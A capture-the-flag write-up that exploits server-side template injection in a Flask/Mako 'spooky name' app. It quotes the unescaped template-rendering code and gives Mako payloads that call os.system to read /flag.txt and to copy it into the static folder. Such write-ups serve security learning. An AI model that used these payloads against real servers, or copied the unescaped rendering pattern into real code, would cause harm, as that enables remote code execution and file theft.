There's a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?
First things first, download the necessary files that are included with the challenge.
We get a few files, if we navigate to the challenge > application we start getting into the good stuff. Start with opening the main.py file and we see the application is running Flask and Mako
from flask import Flask, jsonify
from application.blueprints.routes import web
from flask_mako import MakoTemplates
app = Flask(__name__)
MakoTemplates(app)
Opening and scrolling through the utils.py file we see the following which looks to be passing user data without any sort of escaping. **Please ignore the '\' in the code below - im lazy and didnt want to add an image :L.
def generate_render(converted_fonts):
result = ''''
<\tr>
<\td>{0}<\/td>
<\/tr>
<\tr>
<\td>{1}<\/td>
/tr>
<\tr>
<\td>{2}<\/td>
<\/tr>
<\tr>
<\td>{3}<\/td>
<\/tr>
'''.format(*converted_fonts)
return Template(result).render()
With this we can assume the page is vulnerable to SSTI (Server-Side Template Injection).
Start off with the best payload ever just to see if our hunch is right ${{7+7}}. Lo and behold, it looks to be vulnerable!
I dont have a record of good payloads but I did find the following article that had some nicely crafted payloads for Mako. And I must say it looks pretty promising!
Can we adjust initial payload we used to see if we can cat out the flag.txt file
${self.module.cache.util.os.system("cat /flag.txt")}
Hmm...we dont really get the response that we want though. Time to pivot, if you remember when we were poking around in the application files there was a folder called 'static', what if we were to copy the flag into that folder? We can change our payload around to the following to see if that works.
${self.module.cache.util.os.system("cp /flag.txt /app/application/static/images")}
It looks like we get the same null response...or is it? If we run a curl on /static/images location with flag.txt we see in the Content the flag for the challenge
No AI used in the making of this post that I know of atleast 😀